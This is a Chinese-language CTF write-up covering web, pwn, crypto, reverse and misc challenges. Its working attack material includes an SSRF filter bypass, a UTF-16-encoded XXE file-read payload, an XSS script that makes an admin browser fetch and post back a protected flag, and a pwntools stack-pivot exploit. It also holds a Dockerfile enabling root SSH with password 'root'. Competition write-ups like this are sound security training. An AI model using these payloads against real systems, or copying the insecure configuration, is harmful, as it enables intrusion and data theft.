if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])


if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)

这里面80端口有个php服务,然后/upload路由可以上传文件到uplaods目录下,在view_uploads路由下可以查看,但是存在waf

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):

这里必须包含这个域名,而且不能有127.0.0.1,那么这里可以用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

那么可以先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml,再去读取,得到flag

img

web2

打开容器一个登录界面,随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能,一眼xss

然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flagData = xmlhttp.responseText;
var flag1 = btoa(flagData);
var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp2.send("content=" + encodeURIComponent(flag1))
}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

img

更新任务后,发送给boss

img

接着回到页面可以看到flag已经发过来了

img

PWN

PWN2

Image

开始有一个登录的函数,然后只要拿到用户名和密码就可以进入

Image

vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了

Image

还有给了我们后门函数和/bin/sh字符串

Image

Image

完整exp

from pwn import *            
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674\nc')
# pause()
sa('your msg:\n',pay)
# pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()

Image

CRYPT

CRYPTO01

Image

这题目参考领航杯(https://www.cnblogs.com/mumuhhh/p/17789591.html

然后我们直接sage解密,我们只用替换我们直接的数据就可以


import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
# print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379
e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857
c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826
hint1 = 864467081468962738290 # p高位
hint2 = 939654974954806345061 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

Image

然后我们就可以拿到d,之后进行解密就可以了

Image

Image

CRYPTO02

Image

我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串


import gmpy2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii
import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591

# Calculate dA
s1_minus_s2 = (s1 - s2) % n
z1_minus_z2 = (z1 - z2) % n
r_inv = gmpy2.invert(r, n)
dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n

# Calculate key
key = sha256(long_to_bytes(dA)).digest()
encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be'
encrypted_bytes = binascii.unhexlify(encrypted)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
print(decrypted)

加密步骤如下:

第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文

第⼆层:AES-CBC加密,输入:维吉尼亚密文

密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数

Image

然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法

def victory_decrypt(ciphertext, key):            
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag)

Image

最后我们再将所有大写的字母转化为小写就是flag

Image

或者脚本:

import binascii
from hashlib import sha256
fromCrypto.Cipherimport AES
fromCrypto.Util.number import long_to_bytes
fromCrypto.Util.Paddingimport unpad
import gmpy2

n =0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 =86806104739558095745988469033305523200538774705708894815836887970976487278764
r2 =86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 =93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 =58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 =47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 =97911075901954715147720917205165523174582665086645698292621371632896283314804
k =(z1 - z2)* gmpy2.invert(s1 - s2, n)% n
dA =(s1 * k - z1)* gmpy2.invert(r1, n)% n

encrypted_flag_hex =u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:AES.block_size]
encrypted_flag = encrypted_flag_bytes[AES.block_size:]

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)

victory_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')

defvictory_decrypt(ciphertext, key):
key = key. upper()
key_length =len(key)
ciphertext = ciphertext. upper()
plaintext =''

for i, char inenumerate(ciphertext):
if char.isalpha():
shift =ord(key[i % key_length])-ord('A')
decrypted_char =chr((ord(char)-ord('A')- shift +26)%26+ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key ="WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)

print(flag)

flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d}

REVERSE

REVERSE01

是⼀个apk文件⽤jadx打开

Image

找到⼀个这个但没发现什么有⽤的信息 ,想着这⼀块提取出来看看 ,先⽤APKIDE打开看看

Image

会发现主要在这⼀块 ,⽤ida打开这⾥

Image

在这⾥发现⼏个so文件 ,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话 找到密文与key

Image

Image

密文

Image

Image

之后直接解密即可 ,注意key的后半部分是反过来的

Image

REVERSE02

Image

用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分

Image

第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556

Image

Image

第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9

Image

Image

Image

第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465

Image

第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15Image

Image

wdflag{bf00e5560f45aac9c26f0465b985cb15}

MISC

签到

知识竞赛,答对8题即可

Image

flag:

flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}

MISC01

Image

首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息

Image

我们过滤Diameter协议(https://www.cnblogs.com/stevensfollower/p/5556443.html

也是简单看了几篇文章,对diameter也有了个简单的了解,再结合题目描述:某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,哎!捕捉关键词"定位信息"!那这里提示也是很明显了,就是让我们在流量包中找到可疑的定位信息呗!那我们这里直接过滤出了diameter协议来进行分析,发现也没多少条记录

Image

发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思

Image

我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了

Image

Image

802f208f26ae77是一个ECGI值,它通过唯一编码的形式实现对特定小区的全球定位与标识。

然后我们进行行32位md5哈希运算后即可得到flag

Image

wdflag{d72937999d564f8d86f2f583569a47d3}

Misc02

image-20241104163934148

题目附件给了一个未知后缀的flag文件,strings 查看一下发现是Ubuntu22.04的内存镜像

image-20241104163951545

这里我先尝试了制作vol3的symbols,但是做完后发现也扫不出东西

如何制作vol3的符号文件可以参考我的这篇博客以及这个项目

我这里还是写了一个Dockerfile来制作符号文件

把 linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb 和 dwarf2json-linux-amd64 放 src 目录中即可

ddeb的下载链接:http://launchpadlibrarian.net/733303944/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

FROM ubuntu:22.04

# 将环境设置为非交互环境
ENV DEBIAN_FRONTEND=noninteractive

COPY ./src/ /src/

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server gcc-10 dwarfdump build-essential unzip kmod linux-base linux-image-6.5.0-41-generic\
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

# 这里的文件名需要根据系统版本进行修改
COPY ./src/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

RUN dpkg -i linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb \
&& chmod +x dwarf2json-linux-amd64 \
# 下面这里的文件名需要根据系统版本进行修改
&& ./dwarf2json-linux-amd64 linux --elf /usr/lib/debug/boot/vmlinux-6.5.0-41-generic > linux-image-6.5.0-41-generic.json


CMD ["/bin/bash"]

符号文件在Docker中制作好后直接SSH连上容器下载到本地

然后放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可

docker build --tag symbols . docker run -p 2022:22 -it symbols /bin/sh service ssh start

image-20241104164100015

做完符号文件后发现也扫不出东西,因此这道题我这里就直接打算用010手动提取了

首先,我们先用strings看看用户桌面上有什么东西,当然这里也可以直接在010中搜字符串

strings flag | grep Desktop

image-20241104164128816

我们确定了用户名以及桌面的路径,便于我们缩小范围,过滤掉无效的干扰数据

strings flag | grep /home/ccc/Desktop/

image-20241104164159296

可以看到扫出来了很多非常关键的信息,桌面上有很多张PNG图片,然后还有同名的TXT文件

甚至还有内存镜像的vol3符号文件以及制作符号文件的工具(所以我猜测出题人是故意让我们没办法用vol3进行取证)

然后我们到010中搜索那几张图片的文件名

image-20241104164217435

发现用了base64 xxx.png > xxx.txt这个命令,把图片数据以base64编码的格式保存到同名txt文件中

猜测另外几个文件也是同理,因此我们根据PNG的文件头base64编码后的值:iVBORw0KGgo

在010中可以定位到12个位置

image-20241104164234616

依次查看,发现里面有好多个位置表示的都是同一张图片

手动提取出Hex数据,注意这里建议提取Hex数据,直接提取右边的字符串可能会有问题(可能有不可打印字符)

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 49 41 41 41 44 54 45 44 38 78 41 41 41 43 76 55 6C 45 51 56 52 34 6E 4F 33 54 4D 51 45 41 49 41 7A 41 4D 4D 43 2F 35 79 46 6A 52 78 4D 46 66 58 70 6E 35 6B 44 56 32 77 36 41 54 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 